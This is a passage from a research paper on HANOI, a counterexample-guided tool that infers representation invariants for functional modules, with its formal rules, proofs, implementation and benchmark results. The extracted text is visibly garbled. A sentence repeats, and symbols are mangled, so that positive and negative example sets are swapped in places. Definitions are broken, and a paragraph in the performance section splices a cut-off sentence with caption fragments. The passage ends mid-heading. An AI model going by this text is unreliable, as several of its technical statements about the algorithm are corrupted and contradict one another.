(\phi \ v)\), and - whenever operations of ListSet module are supplied with argument values of abstract type \(t\) that satisfy the invariant, they produce values of abstract type \(t\) that satisfy the invariant, i.e., the module is inductive with respect to In other words, \(I_s\) contains all integer lists that are representations of type \(t\), and is contained in the set of integer lists that satisfy \(\phi\). Figure 2 shows this relationship pictorially. Figure 2 shows this relationship pictorially. For ListSet, the predicate demanding an integer list has no duplicates is a sufficient representation invariant for \(\phi\). Our tool HANOI automatically generates that invariant: let rec \(I_s\) : int list \rightarrow bool = function | [] -> true | hd :: tl -> (not (lookup tl hd)) \&\& (\(I_s\) \ tl) 2.1 Overview of HANOI Given a module, an interface and a specification, HANOI employs a form of counterexample-guided inductive synthesis (CEGIS) [28, §5] to infer a sufficient representation invariant. \(V_\epsilon\) is a set of known constructible values \(I\) is a candidate invariant \(z\) is a sufficiency counterexample: \((I \ z) \land \neg(\phi \ 1)\) \((x, y)\) is an inductiveness counterexample: \((I \ x) \land \neg(I \ y)\) Figure 2. A sufficient representation invariant \(I_s\) implies the spec and is an overapproximation of the set of representations \(R\) of the module’s abstract type. Specifically, we use a generate-and-check approach that iterates between two black-box components: (1) a synthesizer \textbf{Synth} that generates a candidate invariant, which is a predicate that separates a set \(V_\epsilon\) of positive and a set \(V_\neg\) of negative examples, and (2) a verifier \textbf{Verify} that checks if a candidate invariant satisfies the desired properties and otherwise generates a counterexample. CEGIS has been successfully applied to other forms of invariant inference [7, 21, 25, 31]. We illustrate HANOI and its key challenges via our running example. Initially the \(V_\epsilon\) and \(V_\neg\) sets are empty, so suppose that Synth generates the candidate invariant \text{fun} _ -> true. This invariant is inductive, but not sufficient. Hence Verify will provide a counterexample, for instance \([1;1]\), which is an integer list that satisfies the candidate invariant but not the specification \(\phi\) (see \(z\) in Figure 2). As the final invariant must imply \(\phi\), \([1;1]\) is added to \(V_\neg\), which forces Synth to choose a stronger candidate invariant in the next round. The main challenge in using this approach is the need to handle counterexamples to inductiveness. For instance, suppose that at some point during the algorithm we have \(V_\epsilon = \{[],[3]\}\) and \(V_\neg = \{[1;1]\}\), and suppose Synth generates the following candidate invariant: let \(I\) : int list \rightarrow bool = function | [] -> true | hd :: _ -> hd <= 1 This candidate is not inductive over the ListSet module. For instance, \([\emptyset]\) satisfies the candidate, but \((\text{insert} \ [\emptyset] \ 1) = [1;\emptyset]\) does not. Hence the pair \((\emptyset, [1;\emptyset])\) constitutes an inductiveness counterexample (see \((x, y)\) in Figure 2). Resolving such an inductiveness counterexample requires ensuring that either both \(x\) and \(y\) satisfy the candidate invariant or that neither does. This leads to two possibilities, and the problem is that it’s unclear which one is correct: - add \([\emptyset]\) to \(V_\neg\) so that it will be excluded from the next candidate invariant - add \([1;\emptyset]\) to \(V_\epsilon\) so that it will be included in the next candidate invariant However, observe that if \((x, y)\) is an inductiveness counterexample and \(x\) is known to be constructible, then \(y\) is constructible as well. Since a representation invariant must include all constructible integer lists, there is no choice to make in this case: we must add \( y \) to \( V_c \). Based on this observation, our algorithm maintains the property that all elements of \( V_c \) both satisfy the current candidate invariant and are known to be constructible. To verify inductiveness of a candidate invariant, we first check a property that we call \( \text{visible inductiveness} \), which informally requires that there are no inductiveness counterexamples \((x, y)\) such that \( x \in V_c \). If such a counterexample exists, we add \( y \) to \( V_c \), ask \textbf{Synth} for a new candidate invariant, and re-check visible inductiveness on the updated \( V_c \). In our running example, the candidate invariant \( I \) shown above is not visibly inductive, so \textbf{Verify} would produce a counterexample, for instance \( \langle [], [1] \rangle \). Unlike the case for the counterexample \( \langle [1], [1; 0] \rangle \) shown earlier, by construction the first element of this new pair is in \( V_c \), so we know that we must add \([1]\) to \( V_c \). We then re-check visible inductiveness, continuing in this way until the candidate invariant is visibly inductive on \( V_c \). At that point, we check full inductiveness. Because \( I \) is visibly inductive with respect to \( V_c \), any counterexample to full inductiveness is a pair \((x, y)\) where \( x \) is not in \( V_c \). In this case, in order to maintain the invariant that \( V_c \) only contains constructible values we resolve the counterexample by adding \( x \) to \( V_c \). So in general, the elements of \( V_c \) all falsify the current candidate invariant, but they may or may not be constructible. With this new negative example, \textbf{Synth} will produce a stronger candidate invariant. We then restart the process all over again, first weakening this new invariant to be visibly inductive and then strengthening it to be inductive. In §3.4 we show that despite this interplay between weakening and strengthening, \textbf{Hanoi} is sound and complete over finite domains if \textbf{Verify} and \textbf{Synth} are sound and complete. That is, if a sufficient representation invariant exists then \textbf{Hanoi} will produce one. The question of how to handle inductiveness counterexamples arises in prior work on data-driven invariant inference. Some of this work also observes that if \( x \) is constructible in an inductiveness counterexample \((x, y)\), then so is \( y \) [25, 31]. However, those approaches only leverage this observation opportunistically, when a counterexample to full inductiveness happens to satisfy it. In contrast, we define the notion of visible inductiveness and use this notion to eagerly weaken a candidate invariant until no such counterexamples exist. We demonstrate empirically in Section 5 that our eager search for visible inductiveness counterexamples provides performance benefits. We also prove a completeness result for our approach in the context of finite domains, which those prior approaches lack. To our knowledge, the only prior CEGIS-based approaches to inductive invariant inference that have a completeness result depend upon special-purpose synthesizers that directly accept inductiveness counterexamples in addition to positive and negative examples [7, 10]. ### 2.2 Handling Binary Functions Consider the following extension to our \texttt{SET} interface, which exposes additional functions for set union and intersection: ```plaintext module type ESET = sig include SET val union : t -> t -> t val inter : t -> t -> t end ``` Consider an extension of the \texttt{ListSet} module that supports these functions (implementation not shown in the interest of space). When verifying inductiveness, an inductiveness counterexample on either \texttt{union} or \texttt{inter} is now a triple \((x_1, x_2, y)\). This increases the number of possible ways to resolve the counterexample to four: (1) add \( x_1 \) to \( V_c \), (2) add \( x_2 \) to \( V_c \), (3) add both \( x_1 \) and \( x_2 \) to \( V_c \), or (4) add \( y \) to \( V_c \). More generally, the number of choices grows exponentially in the number of arguments to the function that have type \( t \). \textbf{Hanoi} naturally extends to this setting: By construction, a counterexample to visible inductiveness due to \texttt{union} or \texttt{inter} will be a triple \((x_1, x_2, y)\) where \( x_1 \) and \( x_2 \) are in \( V_c \), so as before we add \( y \) to \( V_c \). On the other hand, a counterexample to inductiveness due to \texttt{union} or \texttt{inter} will be a triple \((x_1, x_2, y)\) where at least one of \( x_1 \) and \( x_2 \) is not in \( V_c \). In this case, we simply add each \( x_i \) that is not in \( V_c \) to \( V_c \). \textbf{Hanoi} handles \( n \)-ary specifications in a similar manner. For instance, we may want to prove that a module implementing the \texttt{ESET} interface satisfies the following specification: \[ (\forall i : \text{int}. \langle \text{lookup } s_1 i \rangle \lor \langle \text{lookup } s_2 i \rangle \\ \Rightarrow \langle \text{lookup (union } s_1 s_2 i) \rangle \\ \lor \langle \text{lookup (inter } s_1 s_2 i) \rangle) \] If a candidate invariant is not strong enough to imply this specification, then a counterexample will consist of a pair \((x_1, x_2)\) where at least one of \( x_1 \) and \( x_2 \) is not in \( V_c \). In this case, we again add each \( x_i \) that is not in \( V_c \) to \( V_c \). Our algorithm remains sound and complete for finite domains in the presence of these extensions, assuming the verifier and synthesizer are as well. ### 3 The Inference Algorithm In this section, we describe our algorithm formally and characterize its key properties. #### 3.1 Preliminaries Our programming language is a first-order variant of the simply-typed lambda calculus with functions, pairs, a base type \((\beta)\) and a single designated abstract type \((\sigma)\). The syntax of 0-order types \((\sigma)\), 1st-order types \((\tau)\), values \((\upsilon)\) and expressions $e$ are provided below. \[ \begin{align*} (0\text{-types}) & \quad \sigma := \beta | \alpha | (\sigma \times \sigma) \\ (1\text{-types}) & \quad \tau := \sigma | \tau \rightarrow \tau | (\tau \times \tau) \\ (\text{values}) & \quad v := w | (v_1, v_2) | (\lambda x : \sigma . e) \\ (\text{expressions}) & \quad e := x | v | (\pi_i e) | (e_1 e_2) \end{align*} \] We use $x$ for value variables and $w$ for constants of the base type $\beta$. The expression $(\pi_i e)$ is the $i$th projection from the pair $e$. We write $\Gamma \vdash e : \tau$ to indicate that an expression $e$ has type $\tau$ in the context $\Gamma$, which maps variables to their types. We write $\Gamma \vdash e : \tau$ when $\Gamma$ is empty, as will be the case in most of this work. We write $\tau[\alpha \mapsto \tau_c]$ to substitute $\tau_c$ for $\alpha$ in $\tau$. Finally, and we use $e \Downarrow v$ to indicate that $e$ evaluates to $v$. We refer the reader to Pierce [22] for the details. We assume a module defines a single abstract type $\alpha$, which is declared in its interface. A module interface (F = $\exists \alpha . \tau_m$) is a pair of a name $\alpha$ for the abstract data type and a signature $\tau_m$ that specifies the types for operations over the abstract type. A module implementation $M = \langle \tau_c, \tau_m \rangle$ is the classic existential package of a concrete type $\tau_c$ and a value $\tau_m$ containing operations over the type $\tau_c$. We say a module $\langle \tau_c, \tau_m \rangle$ implements an interface $\exists \alpha . \tau_m$ when it is well-typed as per the usual rules for existential introduction [22, §24], i.e. $\vdash \tau_m : \tau_m[\alpha \mapsto \tau_c]$. In addition to an interface, we also assume the existence of a target specification $\phi$, which captures the desired correctness criteria for a module implementation. These specifications are universal properties of the values of the abstract type; we formalize them as polymorphic functions over the module operations, i.e. $\phi : \forall \alpha . (\tau_m \rightarrow \alpha \rightarrow \text{bool})$. We saw an example specification for integer sets in §2. The values of an abstract type $\alpha$ are simply the values that are constructible at type $\alpha$ through the module interface. Below we define the notion of a $\tau$-constructable value and then use it to define when a module satisfies a specification. **Definition 3.1** ($\tau$-Constructible Value: $\mathcal{C}_M[v; \tau]$). A value $v$ is $\tau$-constructible using $M$, denoted $\mathcal{C}_M[v; \tau]$, iff there exists a function $f : \forall \alpha . (\tau_m \rightarrow \tau)$ such that $(f[\tau_c] \downarrow v) \Downarrow v$. **Definition 3.2** (Specification Satisfaction: $M : F \models \phi$). A module $M$ with interface $F$ is said to satisfy a given specification $\phi$, denoted $M : F \models \phi$, iff every $\alpha$-constructible value satisfies $\phi$, i.e. $\forall v : \tau_c . \mathcal{C}_M[v; \alpha] \Rightarrow (\phi[\tau_c] \downarrow v)$. 3.2 Representation Invariants Loosely speaking, a representation invariant is a property that is preserved by operations over the abstract type of a module. As such, we say that a representation invariant is a fully inductive property of a module. The first part of Figure 3 defines a relation that we call conditional inductiveness, which is a generalization of both full inductiveness and the notion of visible inductiveness described earlier. Specifically, the relation $v : \tau \Downarrow^P Q$ Valid may be read as “value $v$ is conditionally inductive at type $\tau$ with respect to properties $P$ and $Q$.” **Full inductiveness.** When $P$ and $Q$ are the same property $I$ (i.e., $P = Q = I$), these rules correspond to the standard logical relation over closed values for System F [27], but where there is exactly one free type variable ($\alpha$) and that type variable is associated with the concrete type $\tau_c$ and the unary relation $I$. Values of the abstract type $\alpha$ are in the relation if they satisfy $I$ (rule I-A). Products satisfy the relation if their components satisfy the relation (rule I-PROD). Functions satisfy the relation if they take arguments in the relation to results in the relation (rule I-FUN). The following corollary of Reynolds’ theory of parametricity [23] says that if $I$ is a representation invariant then all $\alpha$-constructible values satisfy it. **Corollary 3.3.** \[ \mathcal{V}_m : \tau_m \Downarrow^I \text{Valid} \Rightarrow (\forall v : \tau_c . \mathcal{C}_M[v; \alpha] \Rightarrow (I \Downarrow v)) \] Therefore, to prove that a module meets a specification it is enough to identify a sufficient representation invariant. **Definition 3.4** (Sufficient Predicate: $\text{Suf}^P_M[\phi]$). A predicate $\phi : (\tau_c \rightarrow \text{bool})$ is sufficient for proving that $M$ satisfies $\phi$, denoted $\text{Suf}^P_M[\phi]$, iff $\forall v : \tau_c . (\phi v) \Rightarrow (\phi[\tau_c] \downarrow v)$. **Definition 3.5** (Sufficient Representation Invariant). A predicate $I : (\tau_c \rightarrow \text{bool})$ is called a sufficient representation invariant for a module $M$ with respect to a specification $\phi$, denoted $M : F \Downarrow^I \phi$, iff $\text{Suf}^P_M[I] \land \mathcal{V}_m : \tau_m \Downarrow^I \text{Valid}$. **Theorem 3.6.** If a sufficient representation invariant exists, then the module satisfies the specification, i.e. \[ (\exists I : (\tau_c \rightarrow \text{bool}) . M : F \Downarrow^I \phi) \Rightarrow (\forall v : \tau_c . \mathcal{C}_M[v; \alpha] \Rightarrow (\phi[\tau_c] \downarrow v)) \] **Proof.** Follows from Corollary 3.3, Definition 3.4, and Definition 3.5. **Conditional inductiveness.** When $P$ and $Q$ are not the same, conditional inductiveness informally requires that if the client supplies values of abstract type satisfying $P$ then the module will produce values of abstract type satisfying $Q$. When conditional inductiveness is used to check visible inductiveness in our algorithm, $P$ will be the set $V_e$ of examples that are known to be $\alpha$-constructible by the module and $Q$ will be a candidate representation invariant. The most interesting rule when $P$ and $Q$ are different is the I-FUN rule for functions. Specifically, notice the inversion of $P$ and $Q$ in the negative position: If the argument is a value of abstract type, it must satisfy $P$, not $Q$. In other words, this element of the formalism codifies the intuition that if the client supplies values that satisfy $P$ then the module will supply values that satisfy $Q$. Counterexamples. Normally logical relations are only used to prove that an invariant is inductive. However, we additionally require counterexamples from failed inductiveness checks, to drive our CEGIS-based invariant inference algorithm. The second section of Figure 3 provides the logic for refuting conditional inductiveness and generating counterexamples. This judgement has the form \( \Gamma \vdash \nu : \tau \, \triangleright_P \, \text{CEx} \, \langle S, V \rangle \), which can be read as "value \( \nu \) is not conditionally inductive at type \( \tau \) with respect to properties \( P \) and \( Q \), with inductiveness counterexample witnesses \( S \) and \( V \)." Here the set \( S \) contains values that satisfy \( P \), the set \( V \) contains values that falsify \( Q \), and intuitively the values in \( V \) can be computed using module operations given inputs from \( S \). As an example, consider the rule for values of abstract type \( \alpha \) (rule \( \text{I-A-CEx} \)). Here, a value \( \nu \) of type \( \alpha \) is not conditionally inductive if it falsifies \( Q \). The counterexample produced includes \( \nu \) in the set \( V \) (and returns the empty \( S \)), and hence satisfies the judgemental invariant explained above. As another example, a function is not conditionally inductive (rule \( \text{I-FUN-CEx} \)) if there is an argument \( \nu_1 \) in the relation that causes the function to produce a result \( \nu_2 \) that is not in the relation. In that case, the function \( \parallel \nu \parallel_{\alpha} \) is used to collect all values of type \( \alpha \) in \( \nu_1 \) to put in the returned set \( S \), since they are the inputs that led to the result \( \nu_2 \). The completeness of our algorithm for inferring sufficient representation invariants depends critically on these rules for generating counterexamples. In particular, values in \( S \) are added to the set \( V_\alpha \) of negative examples in order to strengthen a candidate invariant, while values in \( V \) are added to the set \( V_+ \) of positive examples in order to weaken a candidate invariant. Therefore, the returned set \( S \) \( V_\alpha \) must be non-empty whenever strengthening (weakening) is required, which we prove as part of our completeness theorem. Given this theory of counterexamples, one can appreciate why handling higher-order functions is more challenging than first-order functions. Extracting counterexamples from a pair or other data structure requires a walk of the data structure, and such a procedure is trivially complete. However, extracting counterexamples from functional arguments requires execution of those arguments. That said, it is easy to extract counterexamples from functional arguments when the types of those functions do not include the abstract type \( \alpha \)—in that case, there are no counterexamples and one could safely return the empty set. Therefore, our theory and formal guarantees extend naturally to modules that contain functions such as maps, folds (other than those that produce values of the abstract type), zips, and iterators, where function argument types refer to the element type of a data structure, not the abstract type of the data structure itself. The latter case actually appears surprisingly rare in practice, but it does exist. For instance, the abstract type appears in a higher-order position in a monadic interface. We explain how we lift the first-order restriction in our implementation in §4. 3.3 The Inference Algorithm The invariant synthesis algorithm is parameterized by a verifier \( \text{Verify} \) and a synthesizer \( \text{Synth} \). A call \( \text{Verify} P \) returns \( \text{Valid} \) if \( P \) is true on all inputs of type \( \tau \). Otherwise, it returns a counterexample \( \nu \) to the predicate. A call \( \text{Synth} \, V, \, V_\alpha \) returns a predicate \( P \) that returns true on the positive examples \( (V_+ \alpha) \) and false on the negative ones \( (V_\alpha) \). \( V_\alpha \) and \( V_+ \) should not overlap; if they do then \( \text{Synth} \) will fail. ![Inference rules for conditional inductiveness.](image-url) Figure 4 presents our invariant inference algorithm. To execute the algorithm, a user invokes Hanoi (line 32) with empty sets for \( V_c \) and \( V_\_ \) respectively. Hanoi first generates a candidate invariant \( I \) using Synth, given the current \( V_c \) and \( V_\_ \) sets. It then attempts to produce a candidate invariant that is visibly inductive relative to \( V_c \). That is the role of the call to ClosedPositives (line 36). That function simply calls CondInductive, which uses the inference rules in Figure 3. In the implementation these rules are executed through interaction with the verifier Verify. Since everything in \( V_c \) is known to be constructible, the set \( V \) of values that violate the candidate invariant must also be constructible. Therefore, those values are returned from ClosedPositives, and they are added to \( V_c \) via a recursive call to Hanoi (line 37). This forces future candidate invariants produced by Synth to return true on elements in \( V \). Note that each time \( V_c \) is augmented, \( V_\_ \) is reset to the empty set, so the next synthesized invariant will be the constant true function, which is trivially visibly inductive. While we maintain the invariant that the positive examples are constructible and so must be included in the final invariant, negative examples are simply values that violate the current candidate invariant (but may in fact be constructible). Once the candidate invariant \( I \) is visibly inductive with respect to \( V_c \), Hanoi checks for sufficiency and full inductiveness by calling NoNegatives at line 39. The NoNegatives procedure interacts with Verify to check sufficiency and calls CondInductive to check full inductiveness. If either of these checks fail, NoNegatives will return counterexample values that satisfy the current invariant — either a sufficiency violation or the set \( S \) from an inductiveness counterexample. Because \( I \) is visibly inductive, \( N \setminus V_c \) can only be empty if there is a sufficiency violation. In that case, we have found a constructible violation of the specification \( \varphi \), so Hanoi terminates and provides this counterexample. If \( N \setminus V_c \) is non-empty, Hanoi adds all of these values to \( V_\_ \), and Synth will generate a stronger candidate invariant in the next iteration. If a constructible counterexample is added to \( V_\_ \), it will eventually be generated by ClosedPositives and moved to \( V_c \). If both checks in NoNegatives succeed, then we have found a sufficient representation invariant and it is returned. ### 3.4 Soundness and Completeness We say that Verify is sound if (Verify \( P \)) = valid implies \( \forall v : \tau_c \cdot (P v) \parallel false \). Likewise, Verify is said to be complete if Verify\( (P) = v \) implies \( (P v) \parallel false \). Further, Synth is said to be sound if for all sets \( V_c \) and \( V_\_ \) of \( \tau_c \) values, (Synth \( V_c \cdot V_\_ \)) = P implies \( \forall v \in V_c \cdot (P v) \parallel true \) and \( \forall v \in V_\_ \cdot (P v) \parallel false \). Further, Synth is said to be complete if for all sets \( V_c \) and \( V_\_ \) of \( \tau_c \) values, whenever there exists a predicate \( P : \tau_c \rightarrow bool \) such that \( \forall v^+ : V_c \cdot (P v^+) \parallel true \) and \( \forall v^- : V_\_ \cdot (P v^-) \parallel false \), Synth always returns some predicate \( P' \). **Definition 3.7** (Soundness). An inference system for representation invariants is said to be sound iff whenever the system generates a predicate \( I \), it is indeed a sufficient representation invariant, i.e. \( M : F \models_I \varphi \). **Definition 3.8** (Completeness). An inference system for representation invariants is said to be complete iff whenever there exists a sufficient representation invariant $I$ such that $M : F \models I \varphi$, the system always generates (terminates with) some predicate $I : (\tau_c \to \text{bool})$. **Theorem 3.9.** If Verify is sound, then Hanoi $\emptyset \emptyset$ is sound. **Theorem 3.10.** If Verify and Synth are both sound and complete, and $\tau_c$ is a finite domain, then Hanoi $\emptyset \emptyset$ is complete. The proofs can be found in the appendix of the full version of this paper [17]. The soundness of Hanoi is straightforward and follows from the fact that an invariant is only returned if it is both sufficient and inductive. The completeness argument for finite domains is much more involved. As mentioned earlier, it depends on several properties of the rules for generating counterexamples in Figure 3. Further, we must prove that the Hanoi algorithm always terminates. Notice that the size of the set $V_c$ monotonically increases during the algorithm. While $V_c$ is reset to empty on some recursive calls, this is only done when $V_c$ is augmented. Hence the following is a rank function that is bounded from below and decreases lexicographically with each recursive Hanoi call, where $|\tau_c|$ denotes the number of values of type $\tau_c$: $$R(V_c, V_r) \triangleq \langle |\tau_c| - |V_r|, |\tau_c| - |V_c| \rangle$$ ## 4 Implementation This section describes a variety of additional aspects of our ~5 KLOC OCaml implementation of Hanoi. ### 4.1 The Programming Language We have implemented a pure, simply-typed, call-by-value functional language with recursive data types. Numbers are implemented as a recursive data type, where a number is either 0 or the successor of a number. Each program includes a prelude that may contain data type declarations and functions over those data types. A program also contains a single module declaring an abstract type together with operations over that abstract type. Finally, a program includes a universally quantified specification that defines the intended behavior of the module in terms of its operations. ### 4.2 Tackling Higher-Order Functions While the theory presented in the previous section only supports first-order terms, our implementation allows modules to include arbitrary higher-order functions. As mentioned earlier, the key extension required is the ability to extract counterexample values of the abstract type from functions. Here we discuss how our implementation does that. First, consider a natural extension to the SET interface from §2 to include a map function. ```ocaml module type HOSET = sig include SET val map : (int -> int) -> t -> t end ``` Notice that while map is a higher-order function, the type of the higher-order argument does not involve any occurrences of the abstract type $t$. The same is true of iter, zip, and many other variants. Consequently, if, during invariant inference, $(\text{map } f \, v)$ fails an inductiveness check on some candidate representation invariant, the counterexample values that represent the “reason” for this failure will never come from $f$. More generally, when the abstract type does not appear in a higher type $\tau$, the value with type $\tau$ cannot contain counterexamples. Our implementation therefore simply ignores such higher-order values when extracting counterexamples, just as it ignores ordinary base types such as int. Now consider a further extension that includes a fold. ```ocaml module type FSET = sig include HOSET val fold : (int -> t -> t) -> t -> t -> t end ``` Here, fold contains a function argument with a type including $t$. The fold might be implemented as follows. ```ocaml let rec fold f a s = match s with | [] -> a | hd :: tl -> f hd (fold f a tl) ``` Given a call $\text{fold } f \, s1 \, s2$ and a result $s'$ that does not satisfy the current candidate invariant, how do we extract the counterexamples from the functional argument? The solution arises from reflecting back on the intuitive definition of conditional inductiveness: “if clients supply values in $P$ then the module implementation should supply values in $Q$.” In the higher-order case, there are simply more ways for client and implementation to interact across the module boundary. Specifically, the implementation supplies a value to the client when it calls a function argument, and the client supplies a value to the module when it returns from such a function. Fortunately, a mechanism already exists for tracking such boundary crossings in the general case: the higher-order contracts of Findler and Felleisen [9]. Therefore, our implementation extracts counterexamples through higher-order contract checking. The first-order case is straightforward. For example, when the type is $t \to t$, we generate a contract $P \to Q$ to check that arguments satisfy $P$ and results satisfy $Q$, and we log situations where $P$ is satisfied by an argument but $Q$ is violated by the result. This is a direct implementation of the rule 1-FUN-CEX in Figure 3. For a type such as $(\text{int } \to t \to t) \to t \to t \to t$, we simply extend the idea, giving rise to the following contract. $$(\text{any_int } \to Q \to P) \to P \to P \to Q$$ As per usual, all negative positions must satisfy $P$ and the positive ones $Q$. Then contract checking is used to identify runs that satisfy all of the $P$ checks but fail a $Q$ check. In that case, if $S$ is the set of values that satisfy $P$ and $v$ is the value that violates $Q$, then the extracted inductiveness counterexample is $(S, \{v\})$. With this extension, Hanoi is trivially sound, for the same reason that the first-order algorithm is sound (the algorithm checks for soundness just before termination). We conjecture that Hanoi with this extension is also complete for finite domains but have not proven it. However, in the next section, we demonstrate empirically that our implementation can infer representation invariants in the presence of higher-order functions. ### 4.3 Verifier and Synthesizer To implement Verify, we use a size-bounded enumerative tester, which is unsound but effective in practice. To validate a predicate with a single quantifier, we test the predicate on data structures, from smallest to largest, until either 3000 data structures have been processed, or the data structure has over 30 AST nodes, whichever comes first. To validate predicates with two or more quantifiers, we instantiate each quantifier with the smallest 3000 data structures with under 15 AST nodes. We further limit the total number of data structures processed to 30000. These restrictions limit the total amount of time spent in the verifier at the cost of soundness guarantees. To implement Synth, we use Myth [20], adapting it slightly in two ways. First, we modified it to return a set of candidate invariants, instead of just one. Doing so permits the caching of synthesis results described earlier. Second, we had to manage Myth’s requirement for *trace completeness*. Trace completeness requires that whenever we provide an input-output example $\langle x, y \rangle$ for a recursive data type, we also provide input-output examples for each subvalue of $x$. We generate input-output pairs for Myth by pairing each element of $V_x$ with true and each element of $V_y$ with false. To handle trace completeness, we first identify all subvalues of the values in $V_x$ and $V_y$. For each such subvalue that does not already appear in $V_x$ or $V_y$, we simply add it to $V_x$, which has the effect of mapping it to false. However, it could be that these values are actually constructible; if they are, future visible inductiveness checks will find this inconsistency, and move the value to $V_x$. However, this solution sometimes does make our synthesis task more difficult, as these additional values in $V_x$ can force candidate invariants to be stronger than necessary. In such cases the synthesizer can spend more time searching for a complex invariant, when a simpler (though weaker) one would suffice. ### 4.4 Optimizations To accelerate invariant inference, we have implemented two key optimizations: synthesis result caching and counterexample list caching. Synthesis result caching reduces the number of synthesis calls, and counterexample list caching reduces the number of verification and synthesis calls. Since the bulk of the system run time is spent in one or both kinds of calls, reducing them can have a substantial impact on performance. **Synthesis Result Caching.** When synthesizing, Myth often finds multiple possible solutions for a given set of input/output examples. Instead of throwing the unchosen solutions away, we store them for future synthesis calls. When given a set of input/output examples, before making a call to Myth, we check if any of the previously synthesized invariants satisfy the input/output example set. If one does, that invariant is used instead of a freshly synthesized one. **Counterexample List Caching.** Consider the trace of Hanoi shown in Figure 5(a). In this example, Hanoi was just called with $v_1$ as the only positive example, and with no negative examples. With no negative examples, the synthesizer proposes $\lambda x. \text{true}$ as a candidate invariant and then verification subsequently provides the negative counterexample, $v_2$, which then becomes the only negative example in the next attempt at synthesis. This loop of proposing new invariants, and adding their negative counterexamples to the negative example set continues until $\lambda x. e_1$ is proposed, which provides the positive counterexample, $v_3$. Next, according to the unoptimized algorithm, one should begin a run with $\{v_1, v_3\}$ as positive examples and no negative examples—see Figure 5(b) for a partial trace of this subsequent execution. Suppose that $v_3$ satisfies the first two synthesized invariants from the original run. In that case, those invariants will simply be synthesized again as the first two candidates of this new run, as shown in the figure. To avoid this recomputation, we cache these traces of synthesis and verification calls. When we receive a new positive example, we run it on the synthesized invariants in the trace, as shown in Figure 6. Because \( \lambda x. \text{true} \) and \( \lambda x.e_1 \) both return \text{true} on \( v_5 \), we can skip the entirety of the trace shown in Figure 5(b) and begin by synthesizing from the testbed \( V_a = \{v_1,v_5\} \) and \( V_c = \{v_2,v_3\} \). 5 Experimental Results We aim to answer the following research questions: 1. Can we infer sufficient representation invariants in practice? 2. What are the primary performance factors? 3. What effect do our optimizations have? 4. How does our algorithm compare with prior work? 5.1 Benchmark Suite We evaluate HANOI on a total of 28 verification problems, most of which require reasoning over list or tree structures. We categorize them into the following four groups. - **VFA** (5): Four modules from Verified Functional Algorithms (VFA) [1] that have interfaces and specifications over those interfaces, including tree- and list-based implementations of lookup tables and priority queues. We also experimented with a second version of priority queues that excludes the merge function. - **VFA\textunderscore Ext** (3): Three VFA modules with additional function(s) and corresponding specifications from the Coq [30] standard library. - **Coq** (14): Five tree- and list-based implementations of data structures from the Coq [30] standard library. One additional problem for each of the five by introducing additional binary functions. Four more problems by extending interfaces with higher-order functions. - **Other** (6): Six additional benchmarks of our own creation requiring reasoning over lists, natural numbers, monads and other basic data structures. 5.2 Experimental Setup All experiments were performed on a 2.5 GHz Intel Core i7 processor with 16 GB of 1600 MHz DDR3 RAM running macOS Mojave. We ran each benchmark 10 times with a timeout of 30 minutes and report the average time. If any of the 10 runs time out then we consider the benchmark as a whole to have timed out. 5.3 Inferred Invariants Figure 7 presents our results. Overall, HANOI terminated with an invariant on 22 out of 28 benchmarks within the timeout bound. The second column shows the sizes of the inferred invariants, in terms of their abstract syntax trees. Though our verifier is unsound, there was no effect on the reliability of the system on our benchmark suite: 22 of the 22 inferred invariants are correct. Further, some of them are quite sophisticated. For example, we synthesize a heap invariant, which requires that the the elements of each node’s subtrees is smaller than that node’s label. We synthesize invariants over lists including “max element first,” “no duplicates,” and “ordered.” If we allow the system to exceed the 30 min threshold, the system will infer a binary search tree invariant as well. In seven of the cases above, we run into a limitation of the Myth synthesizer rather than our algorithm: Myth cannot synthesize functions that require recursive “helper” functions. To bypass this restriction, we added a \text{true}\_\text{maximum} function (that finds the maximum element of a tree) to our tree-heap benchmark and a \text{min}\_\text{max}\_tree function (that finds the minimum and maximum elements of trees) to our bst and red-black-tree benchmarks. We added a * next to the names of benchmarks that we altered by providing a helper function in this way (see Figure 7). 5.4 Primary Performance Factors When benchmarks complete within the 30 minute bound, most of the time is spent in verification. Indeed, for all but two of the terminating benchmarks, the total time spent synthesizing is under two seconds. Three factors affect verification times significantly: (1) the strength of the specification, (2) the complexity of the underlying data structure, and (3) the presence of higher order functions. First, it takes our verifier longer to validate a true fact than to find a counterexample to a false one (validation requires enumeration of all tests; in contrast, the moment a counterexample is found, the enumeration is short-circuited). Many candidate invariants imply weak specifications but are not inductive. Hence weak specifications, ironically, are quite costly, because many candidate invariants wind up being sufficient (incurring a significant verification expense each time), only to be thrown away later when it turns out they are not inductive. Second, relatively simple data structures, like natural numbers and lists with numbers as their elements, take less time to verify than more complex data structures, like trees, tries, and lists with more complex elements. Third, like other complicated data types, the use of higher-order functions increases verification time. There are many ways to build a function, so enumeratively verifying a higher-order function requires searching through many possible functions. However, the story is different for the complex benchmarks that do not complete within 30 minutes. When we ran HANOI on our bst set benchmark, it completed in 78.4 minutes. Unlike the prior benchmarks, the majority of the time (65%) was spent in synthesis. Moreover, 30% of the total time was spent on the synthesis call that generated the final invariant. This indicates that HANOI is currently not gated Adding these functions makes the verification harder, but can solve an average of 11% slower. However, our synthesizer can use them to generate simpler invariants. Adding helper functions that permit simpler invariants also makes Myth mark with a * were provided an additional function to enable synthesis by Myth. Due to these limitations, we believe that a smarter synthesizer would be able to find more invariants. To this end, we built a prototype synthesizer that can generate more complex types of functions. This synthesizer has similarities to Myth as it is type-and-example directed and enumerative. However, where Myth can only synthesize simple recursive functions, this alternate synthesizer can synthesize folds, letting our synthesizer generate functions that require accumulators. Our synthesizer performs comparably to Myth, synthesizing invariants for the 20 benchmarks Myth that can solve an average of 11% slower. However, our synthesizer is also able to find the invariant for a binary heap (/vfa/tree::::priqueue) without requiring helper functions or functions defined in the module in 185.4 seconds (55.8 seconds for /vfa/tree::::priqueue+binfuncs), while Myth fails. 5.5 Comparisons Figure 8 summarizes the results of running Hanoi, Hanoi without optimizations, and our implementations of prior approaches adapted to our setting. Impact of Optimizations. The modes Hanoi\textsubscript{SRC} and Hanoi\textsubscript{CLC} tested the impacts of our optimizations described in §4.4. Hanoi\textsubscript{SRC} runs the benchmarks with synthesis result caching turned off. Hanoi\textsubscript{CLC} runs the benchmarks with counterexample list caching turned off. Removing synthesis result caching does not have a large impact on the majority of benchmarks as the majority of our benchmarks spend relatively little time in synthesis. However, more complex benchmarks are able to enjoy the benefits of this optimization. Counterexample list caching has significant impact on complex benchmarks as they have more synthesis and verification calls. The synthesizer requires more input/output examples to synthesize the correct invariant on complex benchmarks, so saving time reconstructing the negative examples via counterexample list caching has great impact. **Comparison to ∨ STR.** 